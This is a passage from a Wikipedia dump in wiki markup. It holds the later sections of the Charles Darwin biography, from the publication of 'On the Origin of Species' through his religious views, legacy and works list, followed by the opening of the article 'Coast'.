[[Image:Charles Darwin aged 51.jpg|right|thumb|Darwin was forced into early publication of his theory of [[natural selection]].]]
{{main|Publication of Darwin's theory}}
Darwin found an answer to the problem of how [[genus|genera]] forked in an analogy with industrial ideas of division of labour, with specialised varieties each finding their niche so that species could diverge. He experimented with seeds, testing their ability to survive sea-water to transfer species to isolated islands, and bred pigeons to test his ideas of natural selection being comparable to the &quot;artificial selection&quot; used by pigeon breeders.

In the spring of 1856, Lyell read a paper on the ''Introduction'' of species by [[Alfred Russel Wallace]], a naturalist working in [[Borneo]]. Lyell urged Darwin to publish his theory to establish precedence. Despite illness, Darwin began a 3-volume book titled ''Natural Selection'', getting specimens and information from naturalists including Wallace and [[Asa Gray]]. In December 1857 as Darwin worked on the book he received a letter from Wallace asking if it would delve into human origins. Sensitive to Lyell's fears, Darwin responded that &quot;I think I shall avoid the whole subject, as so surrounded with prejudices, though I fully admit that it is the highest &amp; most interesting problem for the naturalist.&quot; He encouraged Wallace's theorising, saying &quot;without speculation there is no good &amp; original observation.&quot;  Darwin added that &quot;I go much further than you.&quot; His manuscript reached 250,000 words, then on [[18 June]] [[1858]] he received a paper in which Wallace described the evolutionary mechanism and requested him to send it on to Lyell. Darwin did so, shocked that he had been &quot;forestalled&quot;. Though Wallace had not asked for publication, Darwin offered to send it to any journal that Wallace chose. He put matters in the hands of Lyell and Hooker. They agreed on a joint presentation at the [[Linnean Society of London|Linnean Society]] on [[1 July]] of ''[[On the Tendency of Species to form Varieties; and on the Perpetuation of Varieties and Species by Natural Means of Selection]]''. Darwin's infant son died and he was unable to attend.

The initial announcement of the theory gained little immediate attention. It was mentioned briefly in a few small reviews, but to most people it seemed much the same as other varieties of [[evolutionism|evolutionary thought]]. For the next thirteen months Darwin suffered from ill health and struggled to produce an abstract of his &quot;big book on species&quot;. Receiving constant encouragement from his scientific friends, Darwin finally finished his abstract and Lyell arranged to have it published by [[John Murray (publisher)|John Murray]]. The title was agreed as ''[[The Origin of Species|On the Origin of Species by Means of Natural Selection]]'', and when the book went on sale to the trade on [[22 November]] [[1859]], the stock of 1,250 copies was oversubscribed. At the time &quot;Evolutionism&quot; implied creation without divine intervention, and Darwin avoided using the words &quot;evolution&quot; or &quot;evolve&quot;, though the book ends by stating that &quot;endless forms most beautiful and most wonderful have been, and are being, evolved.&quot; The book only briefly alluded to the idea that human beings, too, would evolve in the same way as other organisms. Darwin wrote in deliberate understatement that &quot;light will be thrown on the origin of man and his history.&quot;

===Reaction===
{{main|Reaction to Darwin's theory}}
[[image:Darwin_ape.jpg|thumb|left|A typical satire was the later caricature in ''Hornet'' magazine portraying Darwin as an ape.]]

Darwin's book set off a public controversy which he monitored closely, keeping press cuttings of thousands of [[review]]s, [[essay|article]]s, [[satire]]s, [[parody|parodies]] and [[caricature]]s. Reviewers were quick to pick out the unstated implications of &quot;men from monkeys&quot;, though a [[Unitarian]] review was favourable and ''[[The Times]]'' published a glowing review by Huxley which included swipes at [[Richard Owen]], leader of the scientific establishment Huxley was trying to overthrow. Owen initially appeared neutral, but then wrote a review condemning the book.

The [[Church of England]] scientific establishment including Darwin's old Cambridge tutors [[Adam Sedgwick|Sedgwick]] and  [[John Stevens Henslow|Henslow]]  reacted against the book, though it was well received by a younger generation of professional naturalists. Then ''[[Essays and Reviews]]'' by seven liberal [[Anglican]] theologians declared that miracles were irrational (and supported the ''Origin''), distracting attention away from Darwin.

The most famous confrontation took place at a meeting of the [[British Association for the Advancement of Science]] in [[Oxford]]. Professor [[John William Draper]] delivered a long lecture about Darwin and social progress, then [[Samuel Wilberforce]], the [[Bishop]] of Oxford, argued against Darwin. In the ensuing debate [[Joseph Dalton Hooker|Joseph Hooker]] argued strongly for Darwin and [[Thomas_Henry_Huxley|Thomas Huxley]] established himself as &quot;Darwin's bulldog&quot; &amp;ndash; the fiercest defender of evolutionary theory on the Victorian stage. The story is that on being asked by Wilberforce whether he was descended from [[monkey]]s on his grandfather's side or his grandmother's side, Huxley muttered: &quot;The Lord has delivered him into my hands&quot; and replied that he &quot;would rather be descended from an ape than from a cultivated man who used his gifts of culture and eloquence in the service of prejudice and falsehood&quot; (this is contested, see [http://users.ox.ac.uk/~jrlucas/legend.html Wilberforce and Huxley: A Legendary Encounter]). The story spread around the country: Huxley had said he would rather be an [[ape]] than a Bishop.

Many people felt that Darwin's view of nature destroyed the important distinction between man and beast. Darwin himself did not personally defend his theories in public, though he read eagerly about the continuing debates. He was frequently very ill, and mustered support through [[Correspondence of Charles Darwin|letters and correspondence]]. A core circle of scientific friends &amp;ndash; Huxley, Hooker, [[Charles Lyell]] and [[Asa Gray]] &amp;ndash; actively pushed his work to the fore of the scientific and public stage, defending him against his many critics in this key scientific controversy of the era, and helping to gain him the honour of the [[Royal Society]]'s Copley Medal in 1864. Darwin's theory also resonated with various movements at the time and became a key fixture of popular culture. The book was translated into many languages and went through numerous reprints. It became a staple scientific text accessible both to a newly curious middle class and to &quot;working men&quot;, and was hailed as the most controversial and discussed scientific book ever written.

===Further work until his death ===
{{main articles|[[Darwin from Orchids to Variation]], [[Darwin from Descent of Man to Emotions]], and [[Darwin from Insectivorous plants to Worms]]}}
[[image:Charles Darwin 1880.jpg|frame|A classic image of Darwin in 1880, still researching and producing numerous books.]]
Despite repeated bouts of illness during the last twenty-two years of his life Darwin pressed on with his work. He had published an abstract of his theory, but more controversial aspects of his &quot;big book&quot; were still incomplete; humankind's descent from earlier animals, and the mechanism of [[sexual selection]] which could explain features with no obvious utility other than decorative beauty as well as suggesting possible causes underlying the development of society and of human mental abilities. His experiments, research and writing continued.

When Darwin's daughter fell ill he set aside his experiments with seedlings and domestic animals to go with her to a seaside resort where he became interested in wild [[orchid]]s. This developed into an innovative study of how their beautiful flowers served to control insect pollination and ensure cross fertilisation. As with the barnacles, homologous parts served different functions in different species. Back at home he lay on his sickbed in a room filled with experiments on climbing plants. He was visited by a reverent [[Ernst Haeckel]] who had spread the gospel of ''Darwinismus'' in [[Germany]]. Even at Cambridge, students now supported his ideas. Huxley gave &quot;working-men's lectures&quot; to widen the audience, and Wallace remained a supporter but increasingly turned to [[spiritualism]]. ''Variation'' grew to two huge volumes, forcing him to leave out humankind and sexual selection, but when printed was in huge demand.

The question of [[human evolution]] had been taken up by his supporters (and detractors) shortly after the publication of ''The Origin of Species'', but Darwin's own contribution to the subject came more than ten years later with the two-volume ''[[The Descent of Man and Selection in Relation to Sex]]'' published in 1871. In the second volume, Darwin introduced in full his concept of [[sexual selection]] to explain the evolution of human culture, the differences between the human sexes, and the differentiation of human [[race]]s, as well as the beautiful (and seemingly non-adaptive) plumage of birds. A year later Darwin published his last major work, ''[[The Expression of the Emotions in Man and Animals]]'', which focused on the evolution of human psychology and its continuity with to the behaviour of animals. He developed his ideas that the human mind and cultures were developed by natural and sexual selection, an approach which has been revived in the last two decades with the emergence of [[evolutionary psychology]]. As he concluded in ''Descent of Man'', Darwin felt that despite all of humankind's &quot;noble qualities&quot; and &quot;exalted powers&quot;:
:''&quot;Man still bears in his bodily frame the indelible stamp of his lowly origin.&quot;''

His evolution-related experiments and investigations culminated in five books on plants, and then his last book returned to the effect worms have on soil levels. 

Darwin died in Downe, [[Kent]], England, on [[19 April]] [[1882]]. He had expected to be buried in St Mary's churchyard at Downe, but at the request of Darwin's colleagues, [[William Spottiswoode]] ([[President]] of the [[Royal Society]]) arranged for Darwin to be given a [[state funeral]] and buried in [[Westminster Abbey]].

== Religious views ==
{{main|Charles Darwin's views on religion}}

[[Image:Annie Darwin.jpg|frame|left|The 1851 death of Darwin's daughter, [[Anne Darwin|Annie]], was the final step in pushing an already doubting Darwin away from the idea of a beneficent God.]]

Charles Darwin came from a [[Nonconformist]] background. Though several members of his family were [[Freethought|Freethinkers]], openly lacking conventional religious beliefs, he did not initially doubt the literal truth of the Bible. He attended a [[Church of England]] school, then at Cambridge studied [[Anglican]] theology to become a clergyman and was fully convinced by [[William Paley]]'s [[teleological argument]] that design in nature proved the existence of God. However, his beliefs began to shift during his time on board [[HMS Beagle|HMS ''Beagle'']]. He questioned what he saw&amp;mdash;wondering, for example, at beautiful deep-ocean creatures created where no one could see them, and shuddering at the sight of a wasp paralysing caterpillars as live food for its eggs; he saw the latter as contradicting Paley's vision of beneficent design. While on the ''Beagle'' Darwin was quite [[orthodoxy|orthodox]] and would quote the Bible as an authority on morality, but had come to see the history in the [[Old Testament]] as being false and untrustworthy.

Upon his return, he investigated [[transmutation of species]]. He knew that his clerical naturalist friends thought this a bestial heresy undermining miraculous justifications for the social order and knew that such revolutionary ideas were especially unwelcome at a time when the Church of England's established position was under attack from [[radicalism|radical]] [[Dissenter]]s and [[atheism|atheists]]. While secretly developing his theory of [[natural selection]], Darwin even wrote of religion as a [[Tribe|tribal]] survival strategy, though he still believed that God was the ultimate lawgiver. His belief continued to dwindle over the time, and with the death of his daughter [[Anne Darwin|Annie]] in 1851, Darwin finally lost all faith in Christianity. He continued to give support to the local church and help with parish work, but on Sundays would go for a walk while his family attended church. In later life, when asked about his religious views, he wrote that he had never been an [[atheism|atheist]] in the sense of denying the existence of a God, and that generally &quot;an [[Agnosticism|Agnostic]] would be the more correct description of my state of mind.&quot;

Charles Darwin recounted in his biography of his grandfather [[Erasmus Darwin]] how false stories were circulated claiming that Erasmus had called for Jesus on his deathbed. Charles concluded by writing &quot;Such was the state of Christian feeling in this country [in 1802].... We may at least hope that nothing of the kind now prevails.&quot; Despite this hope, very similar stories were circulated following Darwin's own death, most prominently the &quot;[[Elizabeth Hope|Lady Hope Story]]&quot;, published in [[1915]] which claimed he had converted on his sickbed. Such stories have been propagated by some Christian groups, to the extent of becoming [[urban legend]]s, though the claims were refuted by Darwin's children and have been dismissed as false by historians.
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== Legacy ==
[[Image:Charles_Darwin_1881.jpg|thumb|right|200px|Charles Darwin's contributions to evolutionary thought had an enormous effect on many fields of science.]]
Charles Darwin's theory that evolution occurred through [[natural selection]] changed the thinking of countless fields of study from [[biology]] to [[anthropology]].  His work established that &quot;evolution&quot; had occurred: not necessarily that it was by natural or sexual selection (this particular recognition would not become fully standard until the rediscovery of [[Gregor Mendel]]'s work in the early 20th century and the creation of the [[modern synthesis]]). Others before him had outlined the idea of natural selection: in his lifetime Darwin acknowledged the earlier writings of [[William Charles Wells]] and [[Patrick Matthew]] which he (and practically all other naturalists) had been unaware of when publishing his theory. However, it is clear that Darwin was the first to develop and publish a [[theory#Characteristics|scientific theory]] of natural selection, and that the alleged predecessors did not contribute to the development or success of natural selection as a theory in science.

Darwin's work was extremely controversial at the time he published it and many during his time did not take it seriously.  Evolution by natural selection proved to be a significant blow to notions of [[creationism|divine creation]] and [[intelligent design]] prevalent in [[19th-century]] science, specifically overturning the [[Creation biology]] doctrine of &quot;[[Created kind]]s&quot;. The idea that there was no line to be drawn between human beings and animals would forever make Darwin a symbol of iconoclasm who removed humanity's privileged place in the universe. To some of his detractors, Darwin would be &quot;the monkey man&quot;, often depicted as part ape.

===Commemoration ===
During Darwin's lifetime many species and geographical features were given his name, including the [[Darwin Sound]] named by [[Robert FitzRoy]] after Darwin's prompt action saved them from being marooned, and the nearby [[Mount Darwin (Andes)|Mount Darwin]] in the [[Andes]] celebrating Darwin's 25th birthday. In [[Australia]]'s [[Northern Territory]], the capital city (originally Palmerston) was renamed [[Darwin, Northern Territory|Darwin]] to commemorate the ''Beagle'''s [[1839]] visit there, and the territory now also boasts [[Charles Darwin University]] and [[Charles Darwin National Park]].

The 14 species of [[Finch]]es he researched in the [[Galápagos Islands]] are affectionately named &quot;Darwin's Finches&quot; in honour of his legacy. In [[1964]], [[Darwin College, Cambridge]] was founded, named in honour of the Darwin family, partially because they owned some of the land it was on. In [[1992]], Darwin was ranked #16 on [[Michael H. Hart]]'s [[The 100|list of the most influential figures in history]]. Darwin was given particular recognition in [[2000]] when his image appeared on the [[Bank of England]] [[British banknotes|ten pound note]], replacing [[Charles Dickens]]. His impressive and supposedly hard-to-forge beard was reportedly a contributing factor in this choice. Darwin came fourth in the ''[[100 Greatest Britons]]'' poll sponsored by the [[BBC]] and voted for by the public.

As a humorous celebration of evolution, the annual [[Darwin Awards|Darwin Award]] is bestowed on individuals who ''&quot;aid the process of evolution by demonstrating their unfitness&quot;'' through fatally stupid actions.

===Eugenics ===
Following Darwin's publication of the ''Origin'' his cousin [[Francis Galton]] applied the concepts to human society, producing ideas to promote &quot;hereditary improvement&quot; starting in [[1865]] and elaborated at length in [[1869]]. In ''[[The Descent of Man]]'' Darwin agreed that Galton had demonstrated that &quot;talent&quot; and &quot;genius&quot; in humans were probably inherited, but thought that the social changes Galton proposed were too &quot;utopian&quot;. Neither Galton nor Darwin supported government intervention and instead believed that, at most, heredity should be taken into consideration by people seeking potential mates. In [[1883]], after Darwin's death, Galton began calling his social philosophy ''[[Eugenics]]''. In the [[twentieth century]], eugenics movements gained popularity in a number of countries and became associated with reproduction control programmes such as [[compulsory sterilization|compulsory sterilisation]] laws, then were stigmatised after their usage in the rhetoric of [[Nazi Germany]] in its goals of genetic &quot;purity&quot;.

===Social Darwinism ===
In [[1944]] the American historian [[Richard Hofstadter]] applied the term &quot;[[Social Darwinism]]&quot; to describe 19th- and 20th-century thinking developed from the ideas of [[Thomas Malthus]] and [[Herbert Spencer]], which applied ideas of evolution and &quot;[[survival of the fittest]]&quot; to societies or nations competing for survival in a hostile world. These ideas became discredited by association with [[racism]] and [[New Imperialism|imperialism]]. Though the term is anachronistic, in Darwin's day the difference between what was later called &quot;Social Darwinism&quot; and simple &quot;Darwinism&quot; was less clear. However, Darwin did not believe that his scientific theory mandated any particular theory of governance or social order.

The use of the phrase &quot;Social Darwinism&quot; to describe Malthus's ideas is particularly disingenuous, since Malthus died in [[1834]] before the [[inception of Darwin's theory]] was spurred by his reading the 6th edition of Malthus' famous ''Essay on a Principle of Population'' in [[1838]]. Spencer's evolutionary &quot;progressivism&quot; and his social and political ideas were largely Malthusian, and his books on economics of [[1851]] and on evolution of [[1855]] predated Darwin's publication of the ''Origin'' in [[1859]].

==Works==
Sources of free e-books online:
* Bibliography: [http://pages.britishlibrary.net/charles.darwin3/darwin_biblio.htm#primary Darwin Bibliography] (including alternative editions, contributions to books &amp; periodicals, correspondence &amp; life)
*{{gutenberg author | id=Charles_Darwin | name=Charles Darwin}}
* [http://www.darwin-literature.com Darwin Literature],  Chapter-indexed, searchable versions of Darwin's works.
* [http://charles-darwin.classic-literature.co.uk/ Charles Darwin's Books] in an easy to read format.
*[http://manybooks.net/authors/darwinch.htm Manybooks.net] : various formats

=== Published works ===
* 1836: ''A LETTER, Containing Remarks on the Moral State of TAHITI, NEW ZEALAND, &amp;c. &amp;ndash; BY CAPT. R. FITZROY AND C. DARWIN, ESQ. OF H.M.S. 'Beagle.''' [http://pages.britishlibrary.net/charles.darwin4/tahiti.html]
* 1839: ''Journal and Remarks'' ([[The Voyage of the Beagle]])
* ''Zoology of the Voyage of H.M.S. Beagle'':  published between [[1839]] and [[1843]] in five volumes by various authors, Edited and superintended by Charles Darwin: information on two of the volumes &amp;ndash;
: 1840: ''Part I. Fossil Mammalia'', by [[Richard Owen]] [http://pages.britishlibrary.net/charles.darwin3/zoology.html (Darwin's introduction)]
: 1839: ''Part II. Mammalia'', by [[George Robert Waterhouse|George R. Waterhouse]] [http://pages.britishlibrary.net/charles.darwin3/zoology.html (Darwin on habits and ranges)]
* 1842: ''The Structure and Distribution of Coral Reefs'' [http://digital.library.upenn.edu/webbin/gutbook/lookup?num=2690]
* 1844: ''Geological Observations of Volcanic Islands'' [http://digital.library.upenn.edu/webbin/gutbook/lookup?num=3054], [http://charles-darwin.classic-literature.co.uk/observations-geologiques-sur-les-iles-volcaniques/ (French version)]
* 1846: ''Geological Observations on South America'' [http://digital.library.upenn.edu/webbin/gutbook/lookup?num=3620]
* 1849: ''Geology'' from ''A Manual of scientific enquiry; prepared for the use of Her Majesty's Navy: and adapted for travellers in general.'', John F.W. Herschel ed. [http://pages.britishlibrary.net/charles.darwin3/geology.html]
* 1851: ''A Monograph of the Sub-class Cirripedia, with Figures of all the Species. The Lepadidae; or, Pedunculated Cirripedes.'' [http://pages.britishlibrary.net/charles.darwin4/liv_lepadidae/lepadidae01.html]
* 1851: ''A Monograph on the Fossil Lepadidae; or, Pedunculated Cirripedes of Great Britain'' [http://pages.britishlibrary.net/charles.darwin4/fos_lepadidae/fos.lep.html]
* 1854: ''A Monograph of the Sub-class Cirripedia, with Figures of all the Species. The Balanidae (or Sessile Cirripedes); the Verrucidae, etc.'' [http://pages.britishlibrary.net/charles.darwin4/liv_balanidae/balanidae_fm.html]
* 1854: ''A Monograph on the Fossil Balanidæ and Verrucidæ of Great Britain'' [http://pages.britishlibrary.net/charles.darwin4/fos_balanidae/fos.balanidae.html]
* 1858: ''[[On the Tendency of Species to form Varieties; and on the Perpetuation of Varieties and Species by Natural Means of Selection|On the Perpetuation of Varieties and Species by Natural Means of Selection]]''
* 1859: ''[[The Origin of Species|On the Origin of Species by Means of Natural Selection, or the Preservation of Favoured Races in the Struggle for Life]]''
* 1862: ''On the various contrivances by which British and foreign orchids are fertilised by insects'' [http://pages.britishlibrary.net/charles.darwin3/orchids/orchids_fm.htm]
* 1868: ''Variation of Plants and Animals Under Domestication'' [http://www.esp.org/books/darwin/variation/facsimile/title3.html (PDF format)], [http://charles-darwin.classic-literature.co.uk/variation-of-animals-and-plants-under-domestication-v1/ Vol. 1], [http://charles-darwin.classic-literature.co.uk/variation-of-animals-and-plants-under-domestication-v2/ Vol. 2]
* 1871: ''[[The Descent of Man and Selection in Relation to Sex]]''
* 1872: ''The Expression of Emotions in Man and Animals'' [http://charles-darwin.classic-literature.co.uk/the-expression-of-emotion-in-man-and-animals/]
* 1875: ''Movement and Habits of Climbing Plants'' [http://digital.library.upenn.edu/webbin/gutbook/lookup?num=2485]
* 1875: ''Insectivorous Plants'' [http://charles-darwin.classic-literature.co.uk/insectivorous-plants/]
* 1876: ''The Effects of Cross and Self-Fertilisation in the Vegetable Kingdom'' [http://charles-darwin.classic-literature.co.uk/the-effects-of-cross-and-self-fertilisation/]
* 1877: ''The Different Forms of Flowers on Plants of the Same Species'' [http://charles-darwin.classic-literature.co.uk/the-different-forms-of-flowers-on-plants/]
* 1879: &quot;Preface and 'a preliminary notice'&quot; in Ernst Krause's ''Erasmus Darwin'' [http://pages.britishlibrary.net/charles.darwin3/erasmus.html]
* 1880: ''The Power of Movement in Plants'' [http://charles-darwin.classic-literature.co.uk/the-power-of-movement-in-plants/]
* 1881: ''The Formation of Vegetable Mould Through the Action of Worms'' [http://digital.library.upenn.edu/webbin/gutbook/lookup?num=2355] [http://books.google.com/books?ie=UTF-8&amp;hl=en&amp;vid=LCCN04010736&amp;id=IHcQHUAXg3oC&amp;pg=PA1&amp;lpg=PA1&amp;dq=Vegetable+Mould]
* 1887: ''Autobiography of Charles Darwin'' (Edited by his Son Francis Darwin) [http://digital.library.upenn.edu/webbin/gutbook/lookup?num=2010]
* 1958: ''Autobiography of Charles Darwin'' (Barlow, unexpurgated)

=== Letters ===
*[[Correspondence of Charles Darwin]]
* 1887: ''Life and Letters of Charles Darwin'', (ed. [[Francis Darwin]]). [http://charles-darwin.classic-literature.co.uk/the-life-and-letters-of-charles-darwin-volume-i/ Volume I], [http://charles-darwin.classic-literature.co.uk/the-life-and-letters-of-charles-darwin-volume-ii/ Volume II]
* 1903: ''More Letters of Charles Darwin'', (ed. [[Francis Darwin]] and A.C. Seward). [http://charles-darwin.classic-literature.co.uk/more-letters-of-charles-darwin-volume-i/ Volume I], [http://charles-darwin.classic-literature.co.uk/more-letters-of-charles-darwin-volume-ii/ Volume II]

== References ==
*Charles Darwin, ''Voyage of the Beagle'', (including Robert FitzRoy's ''Remarks with reference to the Deluge''), (Penguin Books, London [[1989]]) ISBN 0-14-043268-X
*[[E. Janet Browne]], ''Charles Darwin: Voyaging'' and ''The Power of Place'' (Princeton: Princeton University Press, 1995-2002).
*Adrian Desmond and James Moore, ''Darwin'' (London: Michael Joseph, the Penguin Group, [[1991]]). ISBN 0-7181-3430-3
*[http://www.talkorigins.org/faqs/hope.html The Darwin Deathbed Conversion Question]
*[[Richard Keynes]], ''Fossils, Finches and Fuegians: Charles Darwin's Adventures and Discoveries on the Beagle, 1832-1836''. ( London: HarperCollins, 2002) ISBN 0-00-710189-9.
* [http://www.infidels.org/library/modern/john_murphy/charlesdarwin.html Charles Darwin (1999) by John Patrick Michael Murphy]
* James Moore and Adrian Desmond, &quot;Introduction&quot;, in ''The Descent of Man, and Selection in Relation to Sex'' (London: Penguin Classics, 2004). (Detailed history of Darwin's views on race, sex, and class)
*Diane B. Paul, &quot;Darwin, social Darwinism and eugenics,&quot; in Jonathan Hodge and Gregory Radick, eds., ''The Cambridge Companion to Darwin'' (Cambridge, England: Cambridge University Press, 2003), 214-239.
*[[The Life and Letters of Charles Darwin]], Ch. VIII, p. 274.  New York, D. Appleton &amp; Co., 1905 [http://pages.britishlibrary.net/charles.darwin/texts/letters/letters1_08.html]: quotation in which he describes himself as &quot;agnostic&quot;

==External links==
{{Wikisource author}}
{{wikibooks}}
{{wikiquote}}
{{Commons|Charles Darwin}}
*[http://pages.britishlibrary.net/charles.darwin/ Writings of Charles Darwin on the Web]
*[http://darwin-online.org.uk/ Complete Works of Darwin Online]
*[http://www.darwinisme.org/ Institut Charles Darwin International]
*[http://www.nhm.ac.uk/nature-online/science-of-natural-history/biographies/charles-darwin/charles-darwin.html Charles Darwin biography at the Natural History Museum, London]
* [http://www.aboutdarwin.com AboutDarwin.com]
* [http://www.bradburyac.mistral.co.uk/dar0.html ''Charles Darwin - the Truth?'' An investigation into the origins of ''The Origin of Species''.]
* [http://www.amnh.org/exhibitions/darwin/ Darwin] - at the [[American Museum of Natural History]]
* [http://www.gruts.com/darwin/index.php The Friends of Charles Darwin]
* [http://www.bankofengland.co.uk/banknotes/current/darwin.htm Darwin's portrait on the £10 note]
* [http://www.npg.org.uk/live/search/person.asp?search=ss&amp;sText=Charles+Darwin&amp;LinkID=mp01196 Twelve different portraits of Charles Darwin at the National Portrait Gallery, U.K.]
* [http://news.bbc.co.uk/1/hi/sci/tech/4607037.stm BBC News: &quot;Darwin family repeat flower count&quot;]
* [http://www.oum.ox.ac.uk/onlinedb/darwin/darimage/dardraw.htm Examine Darwin's crustacean collection online]
* A short [http://atheisme.free.fr/Biographies/Darwin_e.htm biography of Darwin]
*[http://www.tecalibri.info/D/DARWIN-CR_OPE.htm Works of Darwin]
*[http://www.stephenjaygould.org/library/gould_fact-and-theory.html Stephen Jay Gould, &quot;Evolution as Fact and Theory&quot;.]

==See also==
* [[Harriet]] - a Galápagos tortoise apocryphally believed to have been captured by Darwin; possibly the world's oldest living animal.
* [[Skandar Keynes]] - the great-great-great grandson of Charles Darwin
* [[Patrick Matthew]] - an amateur evolutionary theorist and contemporary of Darwin.

{{Darwin}}
{{evolution}}
&lt;!-- Categorization and Interwiki links --&gt;


[[Category:1809 births|Darwin, Charles]]
[[Category:1882 deaths|Darwin, Charles]]
[[Category:Agoraphobic celebrities]]
[[Category:Agnostics|Darwin, Charles]]
[[Category:Alumni of Christ's College, Cambridge|Darwin, Charles]]
[[Category:Anglicans|Darwin, Charles]]
[[Category:British geologists|Darwin, Charles]]
[[Category:British ornithologists|Darwin, Charles]]
[[Category:British scientists|Darwin, Charles]]
[[Category:Carcinologists|Darwin, Charles]]
[[Category:Coleopterists|Darwin, Charles]]
[[Category:Charles Darwin|*]]
[[Category:Darwin — Wedgwood family|Darwin, Charles]]
[[Category:English travel writers|Darwin, Charles]]
[[Category:Ethologists|Darwin, Charles]]
[[Category:Evolutionary biologists|Darwin, Charles]]
[[Category:Fellows of the Royal Society|Darwin, Charles]]
[[Category:Natives of Shropshire|Darwin, Charles]]
[[Category:People with obsessive-compulsive disorder]]
[[Category:Unitarians|Darwin, Charles]]

{{Link FA|sl}}

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    </revision>
  </page>
  <page>
    <title>Coast</title>
    <id>5236</id>
    <revision>
      <id>41807626</id>
      <timestamp>2006-03-01T21:59:42Z</timestamp>
      <contributor>
        <username>TigerShark</username>
        <id>161478</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/65.200.89.19|65.200.89.19]] ([[User talk:65.200.89.19|Talk]]) to last version by TigerShark</comment>
      <text xml:space="preserve">{{for|other uses|Coast (disambiguation)}}

[[image:Dauin_beach.jpg|right|thumb|250px|A coastal beach in the [[Philippines]].]]

The '''coast''' is defined as the part of the land adjoining or near the [[ocean]].  A '''coastline''' is properly, a line on a map indicating the disposition of a coast but the word is often used to refer to the coast itself.  The adjective, '''coastal''' describes something as being on, near or having to do with a coast.

Coast is a very specific term and is only applied to that part of an island or continent that borders an ocean or its saltwater tributaries.  A pelagic coast refers to a coast which fronts the open ocean, as opposed to a more sheltered coast in a [[gulf]] or [[Headlands and bays|bay]].  A [[shore]] on the other hand, can refer to parts of the land which adjoin any large body of water, including oceans (sea shore) and [[lake]]s (lake shore).  Similarly, the somewhat related term [[Stream bed|bank]] refers to the land alongside or sloping down to a [[river]] (river bank) or of a body of water smaller than a lake. ''Bank'' is also used in some parts of the world to refer to an artificial ridge of earth intended to retain the water of a river or [[pond]]. In other places this may be called a [[levee]].

While many scientific experts might agree on a common definition of the term &quot;coast&quot;, the delineation of the inland extents of a coast differ according to [[jurisdiction]], with many scientific and government authorities in various countries differing for economic and social policy reasons.  This is usually because defining lands as part of a coast may be seen to have environmental implications which would prevent development or attach regulations to their use.

==Environmental importance==

The coast and its adjacent areas on and off shore is an important part of a local [[ecosystem]] as the mixture of fresh water and [[salt]] water in [[estuary|estuaries]] provides many nutrients for marine life.  Salt [[marsh]]es and [[beach]]es also support a diversity of [[plant]]s, [[animal]]s, and [[insect]]s crucial to the [[food chain]].

Like the ocean which shapes them, coasts are a dynamic environment with constant change.  The earth's natural processes, particularly [[sea level rise]], [[wave|waves]] and various [[weather]] phenomena, have resulted in the [[erosion]] [[Accretion (geology)|accretion]] and reshaping of coasts as well as [[flood|flooding]] and creation of [[continental shelf|continental shelves]] and drowned river valleys ([[ria]]s).

==Human impacts==

Coasts also face many environmental challenges relating to human-induced impacts.  The human influence on [[Climate change|climate change]] is thought to be a contributing factor of an accelerated trend in [[sea level rise]] which threatens coastal habitat as natural systems struggle to adapt faster.  Human development of coastal land, particularly for recreational or industrial uses are similarly threatened by sea level rise, but also contribute to [[aesthetic]] problems of land use and reduced natural coastal habitat.

Pollution is an ongoing concern along coasts with [[waste|garbage]] and industrial debris littering [[beach|beaches]] and sometimes entire coasts.  The [[transport]]ation of [[petroleum]] in [[tanker (ship)|tankers]] is a major hazard both for the open ocean and along coasts, particularly when large [[oil spill|oil spills]] occur.  Another major hazard for coastal marine life is the large number of small oil spills created by large and small vessels powered by petroleum which flush [[bilge]] water directly into the ocean.

Both the terms coast and coastal are often used to describe a geographic location or region.  For example, New Zealand's [[West Coast, New Zealand|West Coast]], or the [[East Coast of the United States|East]] and [[West Coast of the United States|West Coasts of the United States]].

A large part of the global population inhabits areas near a coast, partly to take advantage of marine resources such as fish, but more importantly to participate in seaborne trade with other nations.  Many of the world's major cities that have developed in recent centuries were built on or near good [[harbour]]s and have large [[port]] facilities to take advantage of marine transportation.  Jurisdictions which are [[landlocked]] and have no coast are often at an economic disadvantage with overseas trade being more difficult; sometimes being forced to go to extravagant measures such as building [[canal]]s to permit ocean-going vessels to travel inland.

Coasts, especially those with [[beach]]es and warm water are also an important draw for [[tourists]].  In many [[island nation]]s such as those of the Mediterranean, South Pacific and Caribbean, tourism by those who come to enjoy the coast is central to the economy. Coasts are popular destinations because of recreational activities such as [[swimming]], [[fishing]], [[surfing]], [[boating]], and [[Sunlight#Sunbathing|sun bathing]].

Many tourists and residents also enjoy the salt air by the sea coast which some consider to have health benefits.  Coastal weather is heavily influenced by the ocean and while this can sometimes result in dangerous storms such as [[Nor'easter|Nor'easters]] and [[hurricane|hurricanes]], the coastal climate is often cooler and more temperate than corresponding inland areas.  Consequently tourists from areas experiencing extremely warm and humid weather seek coastal areas for these reasons.

The coast, especially for isolated nations such as [[Japan]], the [[United Kingdom]], [[Australia]], [[New Zealand]], [[Canada]] or the [[United States]] is often a crucial defensive frontier, both for warding off military invaders but also smugglers and illegal migrants. [[Coastal defenses]] have thus long been erected in many nations. Most coastal countries also have a [[navy]] and some form of [[coast guard]].

==Types of coast==
*[[emergent coastline]] - coast has risen or sea level has fallen from previous level.
*[[submergent coastline]] - coast has fallen or sea level has risen from previous level.
*[[concordant coastline]] - rock bands run parallel to shore.
*[[discordant coastline]] - rock bands run perpendicular to shore.

==See also==

=== Coastal [[landform]]s &amp;amp; features ===
[[Image:Accreting coast Image6.png|frame|Coastal landforms. The feature shown here as a bay would, in Britain, be called a cove. That between the cuspate foreland and the tombolo is a British bay. Tombolo is not a British term.]]

*[[arch]] &amp;mdash; [[archipelago]]
*[[bar (landform)|bar]] &amp;mdash; [[barrier island]] &amp;mdash; [[headlands and bays|bay]] &amp;mdash; [[beach]] &amp;mdash; [[boondock]]
*[[headlands and bays|cape]] &amp;mdash; [[cave]] &amp;mdash; [[cliff]] &amp;mdash; [[cove]]
*[[river delta|delta]] &amp;mdash; [[dune|dune system]]
*[[estuary]]
*[[fjord]]
*[[gulf]]
*[[headlands and bays|headland]]
*[[island]] &amp;mdash; [[island arc]]
*[[lagoon]]
*[[mud flat]]
*[[peninsula]]
*[[raised beach]] &amp;mdash; [[ria]]
*[[salt marsh]] &amp;mdash; [[sea]] &amp;mdash; [[spit (landform)|spit]] &amp;mdash; [[Stack (geology)|stack]] &amp;mdash; [[stump]]
*[[tombolo]]
*[[wave cut cliff]] &amp;mdash; [[wave cut notch]] &amp;mdash; [[wave cut platform]]
